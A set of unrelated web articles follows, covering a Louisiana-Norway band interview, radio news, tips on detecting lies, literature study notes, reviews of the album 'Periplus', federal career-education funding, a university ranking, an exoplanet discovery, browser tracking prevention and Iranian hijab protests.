November 2008 Judging Excellence
Hogweed interview by
TJ: This costs money, time, and heart. There’s no equal exchange between venues and artists. A lot of people on the outside don’t understand that you have your time away from your job. Your...
Hogweed: International Passion by
Tina Jamieson, a singer/ songwriter from Louisiana, was online when she ran across Einar and Lars, a songwriting duo from Norway. The three exchanged messages and eventually shared music with each...
TJ: This costs money, time, and heart. There’s no equal exchange between venues and artists. A lot of people on the outside don’t understand that you have your time away from your job. Your evenings are gone, your weekends are gone. You’re in the studio constantly at $50-$75 an hour to record. You don’t record in an hour. You’re in there all day for several days at a time. You’re talking about thousands of dollars and that does not include mass distribution. NOM: I know that you plan to distribute your CD over a large territory. You’ve mentioned the U.S., Norway, Germany, and Europe. How do you plan to address this plan financially? TJ: We’re going to need a label. That’s just all there is to it. So that’s our primary goal, to find our niche in that market, and hope that there’s somebody there that will see what we have. NOM: And between the unique sound that you have and the cohesion between band members you feel as though that should not be a problem? TJ: I really don’t. It was really strange how well we (the band)got along together. Einar and I ……. NOM: What is the next step for now? Einar and Lars are going to come to New Orleans from Norway. Hogweed will spend time in the studio finishing the CD. And then they will be leaving. TJ: The next step will be shopping for labels. We need to be heard; radio stations, labels, etc. We’ll also be selling the CD on line to help take a bite out of the cost. Tom from Better Than Ezra is a possible for recording. Lou Rojas with New Orleans recording lab. Did 2 songs ‘Turbulent Times’ and ‘You Wonder Why’ NOM: I heard that you’ll be filming a video soon for ‘It Gets Me High’. The song centers around a girl on the bayou. Have you considered any sources for the production? TJ: Tom (Better Than Ezra) is someone that I’m talking it over with right now. NOM: New Orleans musicians TJ: Tina Jamieson
Tina Jamieson, a singer/ songwriter from Louisiana, was online when she ran across Einar and Lars, a songwriting duo from Norway. The three exchanged messages and eventually shared music with each other. Tina had been looking for musicians to collaborate with, as well as other music related resources, for quite some time. And she was lucky to find these two! Her singing and guitar strumming would eventually become the blueprint from which Einar and Lars would build around on a myriad of instruments. When she received the first Mp3 back from Norway, she knew this was it. She was amazed at how well they captured the nuances felt in her writing. And so, Hogweed was born. Einar and Lars will be coming to New Orleans soon to get some studio time in together, and finish the group’s first album. Of their up coming efforts, Tina wants local establishments to realize what goes into being a musician when it comes time to pay the band. “This costs money, time, and heart. There’s no equal exchange between venues and artists. A lot of people on the outside don’t understand that you have your time away from your job. Your evenings are gone, your weekends are gone. You’re in the studio constantly at $50-$75 an hour to record”, says Tina. Because of the location of these artists, distribution will span across the U.S. and into Germany, Norway, and all of Europe. Such a large financial undertaking will require even larger pockets. The trio has set their eyes on finding their niche in that international market, and hoping that there’s somebody there that will see what they have. As per protocol, Hogweed will be shopping labels, selling T-shirts, getting their CDs out to radio stations, and using the internet to market their wares. However, Tina has chosen to employ locals, rather than outsourcing these duties to out of state companies. We applaud her for her efforts! “Tom from Better Than Ezra is a possible for recording. Lou Rojas with New Orleans Recording Lab did two songs, ‘Turbulent Times’ and ‘You Wonder Why’.” She’s also considering Tom (Better Than Ezra) for the video shoot of ‘It Gets Me High’, a song centered around a girl on the bayou. She even lichens Hogweed’s sound to the city itself. “It’s eclectic like the city; something new and different.” Every song draws from her own life experiences. She prefers this to random feel good lyrics prevalent in pop culture. NOM would like to thank Tina Jamieson for this interview, and extend a warm welcome to Einar and Lars. We wish you all the best!
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It’s Kerby Confer Time In PA
Radio Ink July 8, 2018 The 6th annual Confer Radio Talent Institute begins Monday, July 9, in Pennsylvania on the campus of Bloomsburg University of Pennsylvania. Sessions over the 10-day Institute cover sales, on-air, production, promotions, digital, social media, and engineering. The Pennsylvania Association of Broadcasters and Confer underwrite the Institute. Twenty-two students have…
Neumann University Center for Leadership to Host Panel Discussion on Pennsylvania’s Open Record / Right-to-Know Law
Neumann University Center for Leadership to Host Panel Discussion on Pennsylvania’s Open Record / Right-to-Know Law Event will feature panel discussions featuring former Governor Ed Rendell, former Senate Majority Leader Dominic Pileggi, Harrisburg and Philadelphia news reporters ASTON, PA – Neumann University’s Center for Leadership will host a program tomorrow, Wednesday June 13…
FCC Advises Stations To Get Public Files In Order
Inside Radio May 22, 2018 The Federal Communications Commission has announced the next broadcast license renewal process will begin June 1, 2019. While it’s just a little more than one year away for the states first in line, the Media Bureau is advising stations to make good use of the time since this renewal…
An Ad Revolution
To stop the bleed of viewers, network TV is looking to offer fewer advertiser spots. And charge more. By Lucas Shaw and Gerry Smith BLOOMBERG NEWS After years of jamming more advertisements into every hour of the day, TV networks say they’re adopting a new philosophy: Less is more. Comcast Corp.’s NBCUniversal and…
Doyle seeks ethics probe into FCC involvement with conservative group
Pittsburgh Post-Gazette May 8, 2018 TRACIE MAURIELLO WASHINGTON – U.S. Rep. Mike Doyle is calling for an investigation into whether three top federal regulators violated a prohibition on political activity by executive branch employees. The three Republican members of the Federal Communications Commission attended a February conference of the Conservative Political Action Committee….
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Social Skills & Etiquette
How Can You Tell When Someone Is Lying?
Updated on October 2, 2018
Meagan Ireland
Owner of MommyDaddyKids and mother of two, Meagan is passionate about her family and sharing real-life advice with everyday people.
Can You Tell When Someone Is Lying?
Nobody likes being lied to. We feel betrayed when we place our trust in another's hands only to have them break it. After a while, you'll start to mistrust even the most sincere of people.
Wouldn't it be nice if we could skip all of that entirely? To know in an instant when someone was lying to us? That is exactly what R. Edward Geiselman, professor of psychology at UCLA, has been studying for years.
Geiselman believes there are universal signs that a person can watch for to determine when somebody is lying. These characteristics are what he teaches the top investigators in the world to look for, and now you can learn them too.
Check out the telltale signs of lying below and rest easy knowing it will be much harder for anyone to pull the wool over your eyes.
Eye contact is a double-edge sword in the world of lies. Usually, when a person lies — especially to someone they care about — they cannot look their victim in the eye. Then on the other side we have a special type of liar. The one who thinks staring at you like you're a hot fudge sundae on a ninety degree day will make you magically believe them.
Both staring too long and not keeping eye contact are signs that a liar is present. Trying to determine between the two can be difficult. As a general rule, people maintain a good balance when they're telling the truth. If the person you're talking to will not look at you the entire conversation, or looks at you without breaking eye contact at all, you're probably being lied to.
It's important to remember that this is just a guideline and cannot speak for the actions of everyone. Some people truly have a hard time looking others in the eye even when they're being honest. This can sometimes be a sign of low self esteem, low confidence, or shyness.
Which Hand do They Write With?
The next time you believe someone is pulling your chain, find out if they are a lefty or a righty. According to professional interrogators — who have spent their lives perfecting the ability to detect when someone is lying — which hand a person writes with makes a big difference in how they act when they lie.
Right-handed people tend to look right when they are concocting a story. Researchers believe it's because the right half of your brain is the half responsible for imagination.
Left-handed people act much differently. If a left-handed person looks down and darts to the left a lot, they may not be telling you the whole truth.
What if a person is ambidextrous? When in doubt, watch for both of the signs above.
Repeating Questions
When someone is being asked a question they don't want to answer truthfully, they will often repeat the question back first. This could be a diversion but it's more likely they are doing it to buy time to think of a good lie.
It's not unusual for someone to repeat a question when they need to clarify if they heard it correctly. This is especially true in high-pressure situations. So while this is a good thing to watch for when you suspect somebody of lying, it does not always mean someone is a liar.
Most of us get suspicious when someone embellishes their story with details, but that's exactly what investigators want to see. According to Geiselman, people who keep their answers short and simple have something to hide.
This is likely our instinct for self-preservation kicking in. When we tell a big, elaborate lie, there are more details to remember or create. Keeping it short makes it much easier to avoid being tripped up in the future.
Please remember that this is assuming someone is completely fabricating a story to cover the truth. In some cases — like fishing stories — people will add details to the truth, but the lies are in those details.
Lying is much like walking through a field of land mines. You must choose your steps wisely to avoid being blown up. One wrong move and ... bang.
You don't run onto the field. You walk slowly. Once you have a good idea what direction you want to go, you pick up the pace. As soon as you see the end is near, and think you are safe, you might even run a little. The same can be said for lying.
When you first walk into the lie, you tread with caution. You might talk slowly while choosing your words cautiously. Once you have a clear idea what direction you want your lie to go, you may start to speak a bit faster. As soon as you think the end is near and your lie has been believed, you run.
"Truthful people will not dramatically alter their speech rate within a single sentence." - Geiselman
If someone is lying, they may initially speak slowly and precisely. This is likely when they are trying to get their story straight in their mind. Once they have their thoughts in order, their story will come out much faster. When someone has nothing to hide, they don't feel the need to watch what they say and so their rate of speech remains level.
Be careful not to confuse excitement — which can also cause someone to talk with more enthusiasm — with lying.
When someone lies they will often refer to people vaguely rather than specifically. Instead of saying, "Mr. Green did it in the study," they would instead say, "he did it in the study."
This could be because they don't want to implicate someone innocent in their lie, but it's more likely they do not want to give names of people who could be asked to corroborate the story.
If the person you're talking to avoids saying "I," you probably have a liar in your midst. Instead of saying, "I didn't hit Mrs. Scarlette with a hammer," they might instead say, "no one here would ever do that do her."
It's not an exact science, but something to watch for when trying to uncover a lie.
How To Catch A Liar
Occasionally you'll come across a superb liar. These people have become good at manipulating their words and body language to match their lie. This makes it hard to determine when someone is lying or when they are telling the truth. Still, there are ways you can catch even the most skilled of liars.
Ask them to repeat their story backwards. When someone knows they have done something they will be asked about later, they rehearse their lie. The story becomes embedded in their head, but they only memorize it in one direction. Asking them to flip it around will confuse them. "So Jeff dropped you off, but tell me again what happened right before that?"
Ask them to answer again, but at different spots in the storyline. "What happened after Jeff dropped you off." Having to pick the story up at random starting points could cause them to contradict themselves.
Ask the same question in multiple different ways. If they don't give identical answers each time you'll know there's something more going on.
Ask a lot of questions. Start with broad, easy to answer questions first. Get more precise as time goes on. If they have a hard time answering the specific queries, they might not be telling the truth. People who make-up stories rarely think about every little detail. Asking for details might throw them off and reveal their lie.
Let them talk without interruption. When you ask a question, allow them to give their answer, but don't be too quick to ask the next question. Pause in between like you're waiting for them to say more. Often times this will make a liar nervous, and they will ramble. Long pauses make people anxious when they are not being honest, and when people get nervous, they get chatty.
How to Tell If Someone Is Lying - Scientific American
Savvy Psychologist Dr. Ellen Hendriksen reveals seven ways to tell if someone is lying
How to tell when someone's lying | UCLA
UCLA psychologist R. Edward Geiselman has worked for years developing techniques that help law enforcment officials determine when people are being deceptive.
© 2018 Meagan Ireland
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16 months ago from Maine
It's funny, as I was writing this I was thinking about multiple people who had lied to me in the past. I could match every single one of these with a liar. The staring thing is ridiculous. I don't know why people think that staring at you makes them more believable. Maybe it's a form of intimidation. Thank you for reading and commenting. It's nice to hear from another's point of view.
16 months ago from Leeds, UK
Great article and advice; it's highly disconcerting to come across a brazen liar, and sets our psychological alarm bells ringing. Anyone who gets a kick from regularly constructing elaborate lies is either deeply insecure (and desperate to appear more interesting) or very manipulative and malevolent.
I like your point about staring, and have dealt with people who employ the "intense eye-contact" tactic myself. I find that they are normally easy to spot, as their gaze is almost uncomfortably strong yet strangely blank. It appears very different to someone who is genuinely enthused or wide-eyed.
While some people are better and more shameless liars than others, NO liar likes to be asked follow-up questions, so your last points are spot on. It's always funny to see someone's story unravel (and them panic) upon them being thrown some questions!
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NOTES AND OBSERVATIONS ON SHOWALTER'S 'A JURY OF HER PEERS' CH. 5
Jury of Her Peers is a book that traces the development of women’s literature in the United States. These notes are taken from the book as part of the Diverse Women Writers course at Salt Lake Community College. The title of the book is taken from a short story that involves a wife killing her husband.
Ch. 5 Masterpieces and Mass Markets
American women writing for the marketplace in the 1850s. (Capitalism.)
Pg. 71 (Our society says that it values democracy – the reality is that it values the elite, those with money, more.)
Widely read vs. academic life support. (Is Harry Potter literature?)
Fanny Fern was impressed with Walt Whitman’s deep voice, “muscular throat” and “fine, ample chest.” (If a man were to describe a woman in such a manner, how would he be perceived?)
Money makes bitter enemies: Whitman vs. Fern. (Was there more than friendship to the relationship?)
Fatal weakening of women dependent on men.
Nathaniel Hawthorne: “Generally women write like emasculated men…”
Julia Ward Howe – wrote lyrics to “Battle Hymn of the Republic” the tune is “John Brown’s Body.”
(The hermaphrodite as a symbol of women who must become men?)
Howe’s husband made her choose between children and poetry.
Sentimental and emotion from women in the 1850s. (Was it too much?)
“Like it or not, married women had to cope with the responsibilities of housework and make it fit with their writing.” (And men? Did men just get to write? Were they coming home and propping up their feet? Or did they work 12 to 18 hours a day?)
Domesticity vs. creativity
Deranged by household drudgery – (The Feminine Mystique)
“Work – work – work…” (Isn’t this where we, men and women, are at now?) Mary McIntosh describing the pressures on housewives and mothers.
Mary Virginia Hawes Terhune – published in her teens; domestic monotony as a cause of female madness.
Augusta Jane Evans – first novel at 15; “southern” writer
Susan and Anna Warner – sisters; no fashion, no parties; Anna wrote the words to “Jesus Loves Me.”
Heroines of domestic novels found rewards in submission and sacrifice.
In Southern fiction women could run away.
E.D.E.N. Southworth gained a contract with “New York Ledger.”
Notes and Observations on Ch. 6
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Critical remarks on “PERIPLUS” in the Press
Posted in: Press / Media. Tagged: Africa, Amélia Muge, Anatolia, Ancient routes, Ares Alexandrou, Asia, Asia Minor, Atlantic, Atual, Austerity, Aydin, Ípsilon, Bankruptcy, Bouzouki, Braguesa, Building bridges, Crisis, Cultural wealth, Delphic hymn, Diário de Notícias, Ephesus, Epic, Expresso, Fado, Foliage of a Rose, Greece, Hélia Correia, Heavy as Iron, Indian ocean, João Lisboa, João Miguel Tavares, João Moço, Jornal i, Lisbon, Luso-Hellenic, Maria Ramos Silva, Mediterranean, Michales Loukovikas, Musical notation, Musical voyage, Nuno Pacheco, Nuno Rogeiro, Occident, Odysseus, Odyssey, Orient, Past and future, Público, Periplus, Periplus / Luso-Hellenic Wanderings, Pessoa, Portugal, Rebetiko, Sábado, Seikilos epitaph, Shine, Time Out, Tralles, Ulysses, Voyage, Zum Zum. Leave a comment
/PORTUGUÊS/ Comentários sobre o “PERIPLUS” na imprensa
/ΕΛΛΗΝΙΚΑ/ Σχόλια για τον “ΠΕΡΙΠΛΟΥ” στον πορτογαλικό Τύπο
GREECE IS HERE TO SING
Nuno Pacheco, “Público” – February 20, 2012
Amélia and Michales have completed the first intermusical voyage of the modern era between Portugal and Greece, doing what no-one else has done until now: strengthening links, interconnecting notes (the musical ones, because the others are rare), creating new itineraries with ancient routes as starting points…
CIRCUM-NAVIGATION TOWARDS THE ROOTS OF THE FUTURE
Maria Ramos Silva, “i” – February 21, 2012
An innate understanding of musical affinities, generosity and contagious sense of humour. Amélia and Michales, a Portugal-Greece in the leadership of the championship of building bridges among peoples…
A cauldron of sounds where cultural affinities are cooked beyond the frontiers of crisis…
LUSO-HELLENIC EPIC
Nuno Pacheco, “Público/Ípsilon” – February 24, 2012
Amélia Muge has made, together with Michales Loukovikas, the disc that no-one else has produced yet, uniting Portugal and Greece, Occident and Orient, past and future…
Amélia Muge and Michales Loukovikas, in a time that the crisis sweeps Portugal and Greece, put in “Periplus” the vigour of the ancient epics, proposing a Luso-Hellenic musical voyage that encompasses, within the same adventure, other neighbouring cultures, from Asia to Africa…
“Periplus”, an idea so dear to Amélia Muge, has been a risky bet since the beginning. Uniting cultures of the Mediterranean with neighbouring ones of the Atlantic and of the Indian oceans, mixing the Occident and the Orient without giving in to multicultural “pastiches” of dubious taste, demands an enormous dose of dedication, determination and knowledge. The touchstone came across Amélia in the link of Portugal and Greece, working with Michales Loukovikas (an excellent discovery) and sharing with him and a lot of musicians of great talent, Portuguese and Greeks, such an adventure. The result is a diamond polished to the point of almost perfection…
All this in a contemporary approach where the melodic and rhythmic lines of the two countries approximate, interconnect and challenge each other in a natural and fluid form, as if they have always been neighbours and conversed like that…
WE ARE ALL GREEKS
João Lisboa, “Expresso/Atual” – February 25, 2012
A summit of Portuguese and Greek poets and musicians, presided by Amélia Muge and Michales Loukovikas, in order to confirm the idea that much of what we are exists on the other side, as well…
Mediterranean, of course. Which had as a port of departure for its exploration the interest about the work of the Greek poet Ares Alexandrou… and was prolonged through an intuitive search of points of contact and common identity features that… one needs only to discover…
PORTUGAL AND GREECE UNITED FOR ONE NIGHT IN LISBON
João Moço, “Diário de Notícias” – February 25, 2012
“Periplus”… much more than a mere collection of songs, is a musical voyage through Portuguese and Greek traditions, evoking also the ancient epics while the future is being gazed on…
This musical meeting between Portugal and Greece gains a double symbolism, as well, in a moment that both countries face intense social problems…
DAEDALUS AND OTHER ACCOUNTS
Nuno Rogeiro, “Sábado” – March 1, 2012
For decades now, I have been following with interest the singular path of Amélia Muge between a mythical tradition and the “social” themes. But “Periplus, Luso-Hellenic Wanderings” is even more beautiful. Musicians and instruments, from here and from the Hellenic archipelagic peninsula, an Odyssey in sounds, the Mediterranean, real and imaginary, the Occident where Portugal reposes, dreams and suffers, with two grand ballads: “Heavy as Iron” and “Zum Zum”.
AMÉLIA MUGE + MICHALES LOUKOVIKAS
João Miguel Tavares, “Time Out” – March 21, 2012
… There is an immense irony in the fact that “Periplus”, which has as a subtitle “Luso-Hellenic Wanderings”, celebrates that sort of Mediterranean umbilical cord linking Greece with Portugal at least since the myth of the foundation of Lisbon, that is attributed to Ulysses. Brothers in the economic bankruptcy, the two countries join forces here to celebrate their cultural wealth on the face of any austerity – Amélia Muge’s discs are a luxurious filigree of sounds, instruments and verses, and “Periplus” is no exception.
More than that: they are always anything but obvious. If she joins here forces with the Greek musician and composer Michales Loukovikas, it is not to create an euro-pudding with a braguesa guitar and a bouzouki. Yes, there is a braguesa guitar, and yes, there is a bouzouki, as there are traces of rebetiko and fado, there are Pessoa’s verses and Delphic hymns. But nothing is approached in a conventional way – quite the contrary, each track is an accumulation of surprises, as in “Shine”,(*) where Hélia Correia sings (yes, sings) in Greek, as for example in “The Foliage of a Rose”, a magnificent theme that sums up perfectly how it is possible to make a Luso-Galician-Greek patchwork without leaving a single seam on display…
(*) It is the “Epitaph” composed by Seikilos sometime after the 2nd century BC; an epigram engraved on a cylindrical tombstone with lyrics and music (the symbols of the ancient Greek notation): that is, we have a song, the oldest extant complete song in the world. The tombstone was found in Aydin, ancient Tralles, nearby Ephesus, in Asia Minor. Our title derives from the first verse: While you live, shine…
One day we met Hélia Correia and, among other things, we told her that this “Epitaph” will be included in “Periplus”. To our great surprise, Hélia not only knew Seikilos’ composition (which most Greek musicians ignore), but she immediately began to sing it in ancient Greek! We then decided that Hélia was entitled to sing the “Epitaph” in the disc, as well…
>> “PERIPLUS”: an interview to a Hellenic newspaper
← Ο ΓΙΩΡΓΟΣ ΑΝΔΡΕΟΥ για τον “ΠΕΡΙΠΛΟΥ”
Comentários sobre o “PERIPLUS” na imprensa →
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Federal CTE Programs
Examples of Courses Offered at U.S. High Schools (by state)
Perkins Career and Technical Education
A website for policymakers
The Federal Government administers the Perkins Career and Technical Education and other training programs primarily through two agencies:
US Department of Education’s Office of Vocational Education
US Department of Labor Employment and Training Administration
H1-B Training Grants
Workforce Investment Act
Youth Career Connect Grants
Under the Carl Perkins Act 2006, federal funds are made available to help provide vocational-technical education programs and services to youth and adults. The vast majority of funds appropriated under the Perkins Act are awarded as grants to state education agencies. These State Basic Grants are alloted to states according to a formula based on states’ populations in certain age groups and their per capita income.
Only State Boards for Vocational Education are eligible to apply for State Basic Grants. The distribution of grant funds within a state is directed to priority items established by the state in accordance with an approved state plan for vocational-technical education. Local education agencies and postsecondary institutions are eligible recipients for subgrants.
The most frequent uses of funds included: occupationally-relevant equipment, vocational curriculum materials, materials for learning labs, curriculum development or modification, staff development,career counseling and guidance activities, efforts for academic-vocational integration, supplemental services for special populations, hiring vocational staff, remedial classes, and expansion of tech prep programs.
The gap between the skills needed by the workforce, and those taught in our school system results in a skills mismatch where both the unemployment rate and the number of unfilled jobs remain high. As a result, the Obama Administration in 2012 developed a proposal for transforming Career and Technical Education (found here).
The proposal’s four key components include:
Alignment between CTE and labor market needs;
Collaboration among secondary and postsecondary institutions, employers and industry partners;
Accountability reforms; and
Classroom innovation reforms
In November of 2013, the Department of Labor announced $100 million in Youth Career Connect Grants to help build “America’s Next Generation Workforce.” The funding will further assist with the goal of Department of Education’s Perkins — producing work-ready graduates.
The grant press announcement is here and information for funding applicants is on the Department of Labor Employment and Training Website here.
What the new CTE law will mean for Employers.
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Cyber Physics
Startups and Business
Charity and Volunteering
Experience Saint Petersburg
Sports and Lifestyle
Feed The Snow Leopard
26 June 2019, 06:37UTC+3119272
Shanghai Ranking: ITMO University Enters Global Top-100
Today, on June 26, the Shanghai Ranking Consultancy has announced the results of its annual Global Ranking of Academic Subjects, widely known as the Shanghai Ranking. Having assessed over 4,000 higher education institutions on their performance in 54 academic subjects, the authors of the ranking established the top universities in five academic fields such as Natural Sciences, Engineering, Life Sciences, Medical Sciences, and Social Sciences. ITMO University, which made a big debut in last year’s ranking, entered in the top 100 of this year’s Shanghai Ranking in the Automation and Control subject field, and also secured its position in the Engineering group.
Compiled by the Shanghai Ranking Consultancy, the Shanghai Ranking is seen as the most objective among the most influential university rankings out there. It achieves this by fully leaving out surveys and interviews that are often included in other rankings; instead, it uses factual criteria such as publishing metrics and the number of laureates of prestigious awards among alumni and staff. In order to make it to the 2019 Ranking, universities had to provide a certain number of publications in journals included in the Web of Science database in the period from 2013 to 2017.
Over 1,700 universities from 86 countries made it to the list of the world’s best universities. Among the most represented in the 2019 ranking are universities from the US (4,808 mentions), China (2,451 mentions), and the UK (1,554 mentions).
Last year, ITMO University made a grand entrance into the Academic Ranking of World Universities and debuted in such subject fields as Nanosciences and Nanotechnologies (201-300 position), Materials Sciences and Technology (301-400 position), and Electrical and Electronic Engineering (position 401-500). This year, the University secures its position in one more subject field, Automation and Control, making it to the global top-100. ITMO University also improved its position in the Electrical and Electronic Engineering category, having moved up by 100 positions, and secured its place in other subject fields.
“Such a result is mainly due to the fact that ITMO University has finally crossed the five-year publication threshold defining the number of articles in scientific journals included in the Web of Science database. There is such a threshold for each subject field in the ranking. ITMO University had already secured good positions in top journals in terms of the number of publications in the Automation and Control subject field, however, the final result also depends on other universities’ performance,” comments Ilya Kuftiryov, head of ITMO’s Rankings Research Center.
According to the expert, the University’s success in the ranking can be explained by the recent rapid increase in the number of papers published in international scientific journals, including those with a high impact factor, as well as in the number of papers that were co-written with leading international scientists, which is largely due to ITMO’s participation in the 5-100 Russian Academic Excellence Project.
A total of 15 Russian universities made it to this year’s Global Ranking of Academic Subjects, including 11 participants of the 5-100 Project. Among Russian universities, heading the ranking is Lomonosov Moscow State University with 16 mentions. Then comes Novosibirsk State University with 8 mentions, while Higher School of Economics and St. Petersburg State University took third place with 7 mentions each.
In total, Russian universities are represented in the ranking in 27 subject areas, with the most mentions in technical sciences, such as Physics, Mathematics, and Nanotechnology. The participants of the 5-100 Russian Academic Excellence Project are represented in the ranking in 21 subject fields, which is 4 positions more than in 2018, and 12 positions more than in 2017.
Heading the 2019 ranking are universities from the US (35 subject fields), and China (11 subject fields). Coming in on top with its 14 first places is Harvard, which leads in 7 Social Sciences, 3 Medical Sciences, 2 Life Sciences and 2 Engineering subject categories. Special mention was given to University of Pennsylvania and University of Colorado at Boulder from the US and Nanyang Technological University from Singapore for topping more than one subject ranking.
More information about the results of this year’s Global Ranking of Academic Subjects and the ranking’s methodology is available on Shanghai Ranking Consultancy’s official website.
Anastasiia Labunskaia
Project 5-100
Subject Ranking
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ITMO University Makes a Big Debut in 2018 Shanghai Global Ranking of Academic Subjects
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ITMO University Retains Its Standing in Academic Ranking of World Universities
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A rendering of the silhouette of 55 Cancri e transiting its parent star, compared to the Earth and Jupiter transiting our sun.
Image: Jason Rowe, NASA/Ames; Jaymie Matthews, UBC
Stellar eclipse gives glimpse of exoplanet
New data reveals a ‘super-Earth’ next door, astronomically speaking
A group of astronomers led by an MIT professor has spotted an exoplanetary eclipse of a star only 40 light years away — right around the corner, astronomically speaking — revealing a “super-Earth.”
The far-out planet, named 55 Cancri e, is twice as big as Earth and nearly nine times more massive. It is most likely composed of rocky material, similar to Earth, supplemented with light elements such as water and hydrogen gas. Scientists estimate the planet’s surface is much hotter than ours: close to 2,700 degrees Celsius.
Exoplanets — planets outside our own solar system — have captivated astronomers in recent years as interest in finding life on other Earth-like planets has intensified.
But Josh Winn, the Class of 1942 Associate Professor of Physics, says exobiologists should probably not flock to 55 Cancri e looking for signs of life: The temperatures are just too high to sustain living organisms. But he suspects the exoplanet will attract the telescopes of many astronomers, mainly for reasons of visibility: 55 Cancri e is relatively close to Earth compared to other known exoplanets, and, as a result, the star around which the planet orbits appears roughly 100 times brighter than any other star with an eclipsing planet.
“Everything we do in astronomy is starving for more light,” Winn says. “The more light a star gives you, the more chances you have of learning something interesting … and everyone’s been waiting for a system like this that you can study in great detail.”
An 18-hour year
Winn and his colleagues collected starlight data continuously for two weeks from Canada’s Microvariability and Oscillations of Stars space telescope, called “MOST” for short. They directed the satellite scope toward 55 Cancri e based on a tip from doctoral student Rebekah Dawson of the Harvard-Smithsonian Center for Astrophysics. Last year, Dawson published a mathematical analysis of existing data on 55 Cancri e, and found it took the planet 18 hours to orbit its star.
Her results suggested 55 Cancri e was much closer to its star than previously thought, and Winn immediately saw an opportunity to catch sight of an eclipse.
“If [a planet] is just hugging the star, there’s a greater chance of an eclipse, versus if the planet is really far out, in which case you have to be luckier to see it right in front of the star,” he says.
An eclipse has the potential to unlock many mysteries about an exoplanet. For example, astronomers can identify a planet’s diameter, mass, composition and atmospheric conditions by measuring the differences in light as a planet passes in front of, or “transits,” its star. However, only a handful of rocky exoplanets have been known to transit, and every one of them eclipses a faint star.
‘A firefly across a searchlight’
For two weeks, Winn and his colleagues tracked the brightness of 55 Cancri e’s super-bright star, discovering tiny dips in the data that occurred every 18 hours, a finding that confirmed Dawson’s original theory by suggesting the occurrence of an exoplanetary eclipse.
Andrew Howard, a research astronomer at the University of California at Berkeley who was not involved in this study, said spotting such a miniature eclipse in deep space is no small feat.
“This is like looking for a firefly crawling across a searchlight [by] looking for the decreasing brightness of that searchlight from 1,000 kilometers away,” Howard says, adding that planet hunters now have plenty of high-quality data to play with in learning more about 55 Cancri e’s atmosphere and composition. “This is just a new world,” Howard says.
The results of the study have been accepted for publication in The Astrophysical Journal Letters. Winn hopes the study will prompt astronomers to explore 55 Cancri e with their own tools and telescopes.
Dawson’s findings prompted another group at MIT to investigate the rocky exoplanet. Sara Seager, the Ellen Swallow Richards Professor of Extrasolar Planets at MIT, and Brice-Olivier Demory, a postdoc in the Department of Earth, Atmospheric and Planetary Sciences, detected a transit of 55 Cancri e using NASA’s Warm Spitzer, a powerful infrared space telescope. From the spectral data they collected, the group calculated the planet’s dimensions, confirming Winn’s calculations.
Demory and Seager plan to commandeer the telescope again next year to catch the planet, this time behind its star. By measuring the difference between the light given off from the planet in front of and behind its star, the group could determine exactly how much light the planet itself gives off, which could in turn give researchers clues about the planet’s atmospheric composition.
“It’s still going to be hard to learn everything about this planet,” Winn says. “But at least we have what might be the best system in the sky to study it.”
Topics: Astrophysics, Exoplanets, Physics, Space, astronomy and planetary science, Eclipse, Orbits, Transits
Josh Winn
Rebekah Dawson
Sara Seager
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Safari’s ITP lead on Chrome’s tracking prevention: It ‘has a long way to go’
John Wilander, Apple Webkit engineer and architect of Safari’s Intelligent Tracking Prevention (ITP) solution, said Wednesday that Chrome’s new approach to privacy and cookie handling will do little to stop trackers.
Google announced Tuesday that it is changing the way its Chrome browser handles third-party cookies and will more aggressively aim to limit fingerprinting. It will require developers to identify cookies that are allowed to work across sites and potentially could be used to track users with a mechanism based on the web’s SameSite cookie attribute. Cookies without the new SameSite attribute will not be available in a third-party context. The browser will later introduce tools to allow users to block or clear third-party cookies and keep first-party cookies to stay logged in and retain site settings.
“What Chrome has announced is a change to their default cookie policy, going from allowing third-party cookie access to not allowing it,” Wilander said in a Twitter thread. “However, developers can simply reconfigure their cookies to opt out [of] this new policy and we should expect all trackers to do so immediately.”
Wilander said while he sees Chrome’s willingness to “acknowledge that tracking is a problem on the web” and make changes as positive steps, it’s not going far enough. “For a cookie policy to have meaningful effect on cross-site tracking,” he wrote, “you also need to partition storage available to third-parties such as LocalStorage, IndexedDB, ServiceWorkers, and cache.” Safari has enabled this kind of partitioning to prevent cross-site tracking in a third-party context since 2013.
He pointed to a 2013 WebKit bug tracker page on cache partitioning in which a Chrome engineer — back when Chromium used Webkit — essentially asked to be able to opt out of the partitioning because “the cache partitioning feature is not supported by the consensus of the WebKit project.” Just over a month later, Google forked WebKit and launched Blink, its rendering engine still used by Chromium.
ITP cross-site cookie blocking. Safari introduced ITP in 2017 to block third-party trackers from capturing cross-site browsing data — chiefly preventing retargeting efforts. “ITP detects which domains have the ability to track the user and either deletes all of their cookies and website data, or blocks third-party cookie access,” said Wilander. The latest versions, 2.1 and 2.2, go further to keep third-party cookies from abusing first-party storage space, he added.
“This is all to say that Chrome has a long way to go if they are serious about fighting tracking on the web,” Wilander said. “Their announced changes will not do anything now, but they are important steps because they show Chrome’s willingness to move.”
This is all to say that Chrome has a long way to go if they are serious about fighting tracking on the web. Their announced changes will not do anything now, but they are important steps because they show Chrome’s willingness to move.
— John Wilander (@johnwilander) May 8, 2019
Why we should care. Wilander’s response can be seen simply as a jab at a rival, but it highlights the divergent approaches to — and attitudes toward — tracking by Apple and Google. Apple has long staked out an anti-tracking stance, and ITP’s escalating restrictions have marketers scrambling to understand the impact on retargeting and analytics.
Chrome’s approach is significant given Google’s decade-long role in data collection and tracking. Privacy was a theme of I/O this week (supported by a New York Times op-ed by CEO Sundar Pichai Tuesday) and spanned multiple products, including more location data controls in Android and products such as search and Maps.
That said, Chrome’s cookie handling change is relatively small and likely just a first step. With both a developer component — which may invite workarounds as Wilander suggests — and a user component that may or may not be widely adopted. It’s entirely unclear how much of a shakeup this will mean for marketers. But two different approaches means marketers will need to have both eyes open.
Ginny Marvin is Third Door Media’s Editor-in-Chief, managing day-to-day editorial operations across all of our publications. Ginny writes about paid online marketing topics including paid search, paid social, display and retargeting for Search Engine Land, Marketing Land and MarTech Today. With more than 15 years of marketing experience, she has held both in-house and agency management positions. She can be found on Twitter as @ginnymarvin.
This marketing news is not the copyright of Scott.Services – please click here to see the original source of this article. Author: Ginny Marvin
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Home » World News » Women risk wrath of Iran’s morality police by ditching the hijab
Women risk wrath of Iran’s morality police by ditching the hijab
07/15/2019 Irans, Mor, Of, risk, women…, Wrath
Brave women increasingly risk the wrath of Iran’s morality police by ditching the hijab – while hardliners demand they should be LASHED for ‘disrupting social peace’
Many women are adopting more relaxed styles in defiance of conservative codes
Some don loose-fitting scarves that reveal their hair, along with modern clothes
